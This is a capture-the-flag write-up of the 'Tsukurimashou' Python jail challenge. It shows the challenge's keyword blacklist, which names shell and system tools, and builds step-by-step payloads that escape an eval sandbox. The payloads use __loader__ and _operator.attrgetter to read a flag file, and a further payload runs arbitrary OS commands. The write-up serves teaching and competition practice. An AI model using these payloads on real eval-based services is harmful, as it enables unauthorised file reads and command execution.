# Tsukurimashou
###### writeup by Quetz for SieberrSecCTF 2025
$\bf \text{Table of Contents}$
$1. \text{ Introduction}$
$2. \text{ Reconnaissance}$
$\hskip{1em}2.1. \text{ Loader}$
$\hskip{1em}2.2. \text{ Finding modules}$
$\hskip{1em}2.3. \text{ Getting Attributes}$
$3. \text{ Exploit}$
$4. \text{ Conclusion / TLDR}$
$5. \text{ Resources & Further Reading}$
# $\text{1. Introduction}$
Download `tsukurimashou.zip` and unzip. Therein, you will find three files:
```
.
├── Dockerfile
├── chiyo.txt
└── jail.py
```
Within `Dockerfile`, we have:
```dockerfile
$ cat Dockerfile
FROM python:3.12-alpine AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY ./jail.py /srv/app/run
COPY ./flag.txt /srv/app/flag.txt
COPY ./chiyo.txt /srv/app/chiyo.txt
RUN chmod +x /srv/app/run
ENV JAIL_MEM=0
ENV JAIL_CPU=0
ENV JAIL_TIME=60
```
This reveals to us that `flag.txt` is in the same directory as the running Python file.
`chiyo.txt` is of no importance.
In `jail.py`, we have the crux of this CTF challenge:
```py!
$ cat jail.py
#!/usr/local/bin/python
bad_chars = "0123456789#$%&*+-/:;<=>@[\\]^`{|}~"
bad_keywords = ["eval", "exec", "compile", "open", "input", "import", "getattr", "setattr", "delattr", "vars", "callable", "classmethod", "staticmethod", "os", "sys", "pty", "subprocess", "pdb", "inspect", "signal", "resource", "system", "popen", "run", "spawn", "fork", "read", "write", "close", "exit", "reload", "runpy", "shutil", "socket", "dict", "bytearray", "bytes", "memoryview", "type", "super", "object", "str", "int", "float", "bool", "complex", "help", "breakpoint", "file", "dir", "print", "format", "globaƖs", "locals", "co_names", "frame", "getframe", "trace", "code", "base", "class", "subclasses", "mro", "self", "lambda", "map", "filter", "reduce", "metaclass", "init", "new", "builtins", "sh", "bash", "cat", "flag", "echo"]
blacklist = [*bad_chars, *bad_keywords]
def check(message):
try:
assert len(message) <= 150, "Letter is too long!"
assert message.isascii(), "Contraband detected!"
for banned in blacklist:
assert banned.lower() not in message.lower(), "Contraband detected!"
except Exception as e:
print(e)
exit()
def format_letter(message):
sanitised = eval(f"'''{message}'''", {})
print(f"Eval Input: \"'''{message}'''\"")
return f"\nDear Osaka,\n {sanitised}\n\nFrom,\nChiyo"
def display_chiyo():
with open("chiyo.txt", "r") as f:
print(f.read().replace('~E',"\033[0m").replace('~R',"\033[0;1;31m").replace("~Y", "\33[33").replace('~r',"\33[31"))
def main():
display_chiyo()
message = input("Enter message: ")
check(message)
print(format_letter(message))
if __name__ == "__main__":
main()
```
We are greeted with an incredibly strict blacklist
```py
bad_chars = "0123456789#$%&*+-/:;<=>@[\\]^`{|}~"
bad_keywords = ["eval", "exec", "compile", "open", "input", "import",
"getattr", "setattr", "delattr", "vars", "callable", "classmethod",
"staticmethod", "os", "sys", "pty", "subprocess", "pdb", "inspect",
"signal", "resource", "system", "popen", "run", "spawn", "fork", "read",
"write", "close", "exit", "reload", "runpy", "shutil", "socket", "dict",
"bytearray", "bytes", "memoryview", "type", "super", "object", "str", "int",
"float", "bool", "complex", "help", "breakpoint", "file", "dir", "print",
"format", "globaƖs", "locals", "co_names", "frame", "getframe", "trace",
"code", "base", "class", "subclasses", "mro", "self", "lambda", "map",
"filter", "reduce", "metaclass", "init", "new", "builtins", "sh", "bash",
"cat", "flag", "echo"]
blacklist = [*bad_chars, *bad_keywords]
```
This blacklist will pose many, many encumbering issues later on. Certain substrings, like `sh` and `int`, may seem easy to avoid, but actually prevent a lot of potential payloads from being possible.
Next, we have the `check(message)` function:
```py
def check(message):
try:
assert len(message) <= 150, "Letter is too long!"
assert message.isascii(), "Contraband detected!"
for banned in blacklist:
assert banned.lower() not in message.lower(), "Contraband detected!"
except Exception as e:
print(e)
exit()
```
This function imposes a hard character limit of 150 characters, checks whether the message contains only ASCII characters in order to prevent something like
```py
𝓹𝓻𝓲𝓷𝓽(𝓸𝓹𝓮𝓷("fla""g.txt").𝓻𝓮𝓪𝓭())
```
and lastly, checks whether the substrings in `blacklist` are present in `message`, case-insensitive.
This means we cannot
$\hskip{1em}$(i) Index by `[i]` on iterables (blacklist char)
$\hskip{1em}$(ii) Restore builtins with the words `builtins`, `self`, $\tt \ldots$
$\hskip{1em}$(iii) Cannot get attributes with `__getattribute__`, `__getattr__`, `__dict__`, $\tt \ldots$
$\hskip{1em}$(iv) Open files with the words `file`, `read`, `open`, $\tt \ldots$
----
For the ease of debugging, I used the following modified script of the original `jail.py`
```py!
#!/usr/local/bin/python
bad_chars = "0123456789#$%&*+-/:;<=>@[\\]^`{|}~"
bad_keywords = ["eval", "exec", "compile", "open", "input", "import", "getattr", "setattr", "delattr", "vars", "callable", "classmethod", "staticmethod", "os", "sys", "pty", "subprocess", "pdb", "inspect", "signal", "resource", "system", "popen", "run", "spawn", "fork", "read", "write", "close", "exit", "reload", "runpy", "shutil", "socket", "dict", "bytearray", "bytes", "memoryview", "type", "super", "object", "str", "int", "float", "bool", "complex", "help", "breakpoint", "file", "dir", "print", "format", "globals", "locals", "co_names", "frame", "getframe", "trace", "code", "base", "class", "subclasses", "mro", "self", "lambda", "map", "filter", "reduce", "metaclass", "init", "new", "builtins", "sh", "bash", "cat", "flag", "echo"]
blacklist = [*bad_chars, *bad_keywords]
def check(message):
try:
assert len(message) <= 150, "Letter is too long!"
assert message.isascii(), "Contraband detected!"
for banned in blacklist:
assert banned.lower() not in message.lower(), f"Contraband detected! {banned}"
except Exception as e:
print(e)
exit()
def format_letter(message):
sanitised = eval(f"'''{message}'''", {})
return f"\nDear Osaka,\n {sanitised}\n\nFrom,\nChiyo"
def main():
print("NO CHIYO")
message = input("Enter message: ")
check(message)
print(format_letter(message))
if __name__ == "__main__":
main()
```
In this, I changed the `check(message)` function to be easier to debug, and removed the console-flooding ASCII anime girl.
For my penultimate point, before I actually drawl on about the pyjail escape, we need to touch briefly on the issue of **string concatenation**
We can achieve string concatenation without using `+` by doing either
```py
"hello"" world" # => "hello world"
```
or
```py
"hello".__add__(" world")
```
Both achieve the same result, but the former is more concise, which is critical under the 150 character constraint.
Lastly, to escape the triple quotes, we can format out input like so:
```py
''', expr, '''
```
This will thus evaluate to
```py
eval("'''''',expr,''''''", {})
=> eval("'',expr,''", {})
=> ('', eval(expr, {}), '')
```
# $\text{2. Reconnaisance}$
Gathering information about the pyjail, so as to excogitate on how best to break it. The Reconnaisance phase involves three pivotal breakthroughs, without which I could not have discovered this.
## $\text{2.1 Loader}$
In Python, there is an artifact oft forgotten by many, and it is this obscure object which conveniently slips through the tight cracks of our almost-all-encompassing blacklist -- this of course, is `__loader__`.
`__loader__` has the following attributes:
```py!
>>> dir(__loader__)
['_ORIGIN', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'create_module', 'exec_module', 'find_module', 'find_spec', 'get_code', 'get_source', 'is_package', 'load_module', 'module_repr']
```
We will use `__loader__.load_module`, which allows us to import a module without using the word `import`.
E.g.
```py
__loader__.load_module('os').system('cat flag.txt')
```
is the same as
```py
os.system('cat flag.txt')
```
However, an issue arises here: what modules can we actually import?
It would seem, from experimentation, that there were some modules that were importing perfectly fine locally, but on the challenge instance would error out.
Take, for example, `importlib`.
On local instance,
```py
''',__loader__.load_module('impor''tlib'),'''
```
yields
```py
NO CHIYO
Enter message: ''',__loader__.load_module('impor''tlib'),'''
Dear Osaka,
('', <module 'importlib' (<class '_frozen_importlib.BuiltinImporter'>)>, '')
From,
Chiyo
```
However on challenge instance, the same input returns with the error:
```py
Traceback (most recent call last):
File "/app/run", line 39, in <module>
main()
File "/app/run", line 36, in main
print(format_letter(message))
^^^^^^^^^^^^^^^^^^^^^^
File "/app/run", line 22, in format_letter
sanitised = eval(f"'''{message}'''", {})
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<string>", line 1, in <module>
File "<frozen importlib._bootstrap>", line 537, in _load_module_shim
File "<frozen importlib._bootstrap>", line 966, in _load
File "<frozen importlib._bootstrap>", line 921, in _load_unlocked
File "<frozen importlib._bootstrap>", line 813, in module_from_spec
File "<frozen importlib._bootstrap>", line 993, in create_module
ImportError: 'importlib' is not a built-in module
```
It seems there are discrepancies between locally imported modules and those imported in the remote challenge instance. How would one resolve this? By being able to list the available modules.
This brings us to the second breakthrough.
## $\text{2.2 Finding modules}$
At this point, I contemplated creating a list of all available modules through the [Module Index](https://docs.python.org/3/py-modindex.html), and enumerating through these to see what modules could be imported with a `pwntools` script. Thankfully, while scanning the `sys` module documentation page, I discovered a few incredibly useful attributes:

[sys.implementation](https://docs.python.org/3/library/sys.html#sys.implementation)

[sys.modules](https://docs.python.org/3/library/sys.html#sys.modules)

[sys.builtin_module_names](https://docs.python.org/3/library/sys.html#sys.builtin_module_names)
The first gives the implementation details of the Python interpreter, useful for if there may be interpreter-specific quirks. Running it on the challenge server gives:
```py!
Enter message: ''',__loader__.load_module('sy''s').implementation,'''
Dear Osaka,
('', namespace(name='cpython', cache_tag='cpython-312', version=sys.version_info(major=3, minor=12, micro=11, releaselevel='final', serial=0), hexversion=51121136, _multiarch='x86_64-linux-musl'), '')
From,
Chiyo
```
This tells us we are working with CPython on Linux.
Secondly, `sys.modules` provides us with modules that are already imported into the program. This yields (modified to be more readable):
```py!
Enter message: ''',__loader__.load_module('sy''s').modules,'''
Dear Osaka,
('', {'builtins': <module 'builtins' (built-in)>,
'_frozen_importlib': <module '_frozen_importlib' (frozen)>,
'_imp': <module '_imp' (built-in)>,
'_thread': <module '_thread' (built-in)>,
'_warnings': <module '_warnings' (built-in)>,
'_weakref': <module '_weakref' (built-in)>,
'_io': <module '_io' (built-in)>,
'marshal': <module 'marshal' (built-in)>,
'posix': <module 'posix' (built-in)>,
'_frozen_importlib_external': <module
'_frozen_importlib_external' (frozen)>,
'time': <module 'time' (built-in)>,
'zipimport': <module 'zipimport' (frozen)>,
'_codecs': <module '_codecs' (built-in)>,
'codecs': <module 'codecs' (frozen)>,
'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>,
'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>,
'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>,
'_signal': <module '_signal' (built-in)>,
'_abc': <module '_abc' (built-in)>,
'abc': <module 'abc' (frozen)>,
'io': <module 'io' (frozen)>,
'__main__': <module '__main__' from '/app/run'>,
'_stat': <module '_stat' (built-in)>,
'stat': <module 'stat' (frozen)>,
'_collections_abc': <module '_collections_abc' (frozen)>,
'genericpath': <module 'genericpath' (frozen)>,
'posixpath': <module 'posixpath' (frozen)>,
'os.path': <module 'posixpath' (frozen)>,
'os': <module 'os' (frozen)>,
'_sitebuiltins': <module '_sitebuiltins' (frozen)>,
'pwd': <module 'pwd' (built-in)>,
'site': <module 'site' (frozen)>,
'sys': <module 'sys' (built-in)>
}, '')
From,
Chiyo
```
and also for the third,
```py!
Enter message: ''',__loader__.load_module('sy''s').builtin_module_names,'''
Dear Osaka,
('', ('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tokenize', '_tracemalloc', '_typing', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time'), '')
From,
Chiyo
```
This provides us with a limited set of modules to investigate, down from the plenty modules in the Python module index.
I spent quite a significant amount of time here `dir`-ing different modules and going through their source code on CPython's github. While doing this, I was looking for 2 main things: Being able to get an attribute, or being able to read a file, without getting flagged by the blacklist.
On getting attributes, [existing literature](https://shirajuki.js.org/blog/pyjail-cheatsheet) suggests using methods that are flagged by the blacklist, so we have to think outside the box for those.
By now, we can easily restore `builtins`, but it was useless if we could not get an attribute of it by string or by index, since every useful function name was blocked.
Also, in searching the source code of `os` I found a cool little function `os._get_exports_list()` which would list the attributes of a module, sort of like a `dir` that I could execute remotely.
My light came from one module, which contained within it a single method that was the final key to solving this puzzle.
## $\text{2.3 Getting Attributes}$
After stumbling around searching the different modules for a while, I decided to look into `_operator`.
```py!
>>> dir(__loader__.load_module('_operator'))
['__doc__', '__loader__', '__name__', '__package__', '__spec__', '_compare_digest', 'abs', 'add', 'and_', 'attrgetter', 'concat', 'contains', 'countOf', 'delitem', 'eq', 'floordiv', 'ge', 'getitem', 'gt', 'iadd', 'iand', 'iconcat', 'ifloordiv', 'ilshift', 'imatmul', 'imod', 'imul', 'index', 'indexOf', 'inv', 'invert', 'ior', 'ipow', 'irshift', 'is_', 'is_not', 'isub', 'itemgetter', 'itruediv', 'ixor', 'le', 'length_hint', 'lshift', 'lt', 'matmul', 'methodcaller', 'mod', 'mul', 'ne', 'neg', 'not_', 'or_', 'pos', 'pow', 'rshift', 'setitem', 'sub', 'truediv', 'truth', 'xor']
```
as the name of the module suggests, it contains the commonly-used Python operators, like `eq`, `add`, `xor`, etc.
But it also contains one function that is abundantly eye-catching: `attrgetter`.
This function, per the [documentation page](https://docs.python.org/3/library/operator.html#operator.attrgetter), is to
> Return a callable object that fetches attr from its operand. If more than one attribute is requested, returns a tuple of attributes.
Note that `_operator` and `operator` can be considered the same here.
This means that this higher-order function can be used like so:
```py!
operator.attrgetter("val")(Obj) # => Obj.val
```
We may also chain attribute-getting
```py!
operator.attrgetter("val1.val2.val3")(Obj) # => Obj.val1.val2.val3
```
This completes the final piece of the puzzle.
# $\text{3. Exploit}$
Armed with the knowledge of `__loader__.load_module`, our information from `sys.modules` and `sys.builtin_module_names`, as well as `_operator.attrgetter`, we can slip past the protective measures of the pyjail and print our flag.
First, load the module `operator`:
```py
''',__loader__.load_module('_operator'),'''
```
$\text{}$
then use `_operator.attrgetter`
```py
''',__loader__.load_module('_operator').attrgetter(),'''
```
$\text{}$
to `_operator.attrgetter`, pass in `'op''en'`, and then call it on another module, `__loader__.load_module('builtins')`
$\text{}$
```py
''',__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('builtins')),'''
```
this is equivalent to `builtins.open`
$\text{}$
To this function, pass in `'fla''g.txt'`
```py
''',__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('builtins'))('fla''g,txt'),'''
```
this is equivalent to `builtins.open('flag.txt')`
$\text{}$
Lastly, wrap the whole thing in `list` to convert it from `_io.TextIOWrapper` to `list[str]`
```py
''',list(__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('built''ins'))('fla''g.txt')),'''
```
this is equivalent to `list(builtins.open('flag.txt'))`
Hence, we have the progression
```py=
''',__loader__.load_module('_operator'),'''
''',__loader__.load_module('_operator').attrgetter(),'''
''',__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('builtins')),'''
''',__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('builtins'))('fla''g,txt'),'''
''',list(__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('built''ins'))('fla''g.txt')),'''
```
:::info
NOTE FROM THE FUTURE: the following payload is shorter and cleaner:
```python
''',list(__loader__.load_module('_operator').attrgetter('__sel''f__.op''en')(abs)('fla''g.txt')),'''
```
this is equivalent to `abs.__self__.open('flag.txt')`.
I apologise for not seeing this shorter solution earlier.
:::
$\text{}$
# $\text{4. Conclusion / TLDR}$
As we've seen here, sometimes solving CTF challenges can involve a chaining of multiple exploits, each of them doing their own part in advancing the final flag capture. We used:
1. `__loader__.load_module()` to import a module as an object
2. `sys.modules` & `sys.builtin_module_names` to gather information about what modules can be imported
3. `_operator.attrgetter` to get attributes of an object in a way that bypassed the blacklist
Final Payload:
```py
''',list(__loader__.load_module('_operator').attrgetter('op''en')(__loader__.load_module('built''ins'))('fla''g.txt')),'''
```
Additionally, to execute OS commands, use the payload:
```py
''',__loader__.load_module('_operator').attrgetter('sy''stem')(__loader__.load_module('o''s'))('cmd'),'''
```
where `cmd` is the command you want input, subject to a character limit of 48 characters, with a blacklisted word costing an extra two characters for each one. The utility of this is limited, though, as one cannot traverse paths with `/` or use flags on commands with `-`.
Our flag:

:::spoiler Flag
`sctf{0h_mY_g4h_1_w1sh_I_w3r3_4_b1Rd}`
:::
# $\text{5. Resources & Further Reading}$
For more on **Escaping Pyjails**
- Pyjail Cheatsheet: https://shirajuki.js.org/blog/pyjail-cheatsheet
- Bypass Python Sandboxes: https://hacktricks.boitatech.com.br/misc/basic-python/bypass-python-sandboxes
- Pyjailbreaker: https://github.com/jailctf/pyjailbreaker
Information on the tools used:
- `__loader__`: https://stackoverflow.com/questions/22185888/pythons-loader-what-is-it
- Dunder Methods: https://www.pythonmorsels.com/every-dunder-method/
- `dir()`: https://docs.python.org/3/library/functions.html#dir
Information on the modules used:
- `sys` documentation page: https://docs.python.org/3/library/sys.html
- `os` documentation page: https://docs.python.org/3/library/os.html
- `os` source code: https://github.com/python/cpython/blob/3.13/Lib/os.py
- `operator` documentation page: https://docs.python.org/3/library/operator.html
- `operator` source code: https://github.com/python/cpython/blob/3.13/Lib/operator.py
Other writeups of mine:
- YBN CTF 2024: https://hackmd.io/@ctf-lol/ybnctf2024
- GreyCTF 2024: https://hackmd.io/@ctf-lol/greyctf2024-quals
# That's all! Have a nice day.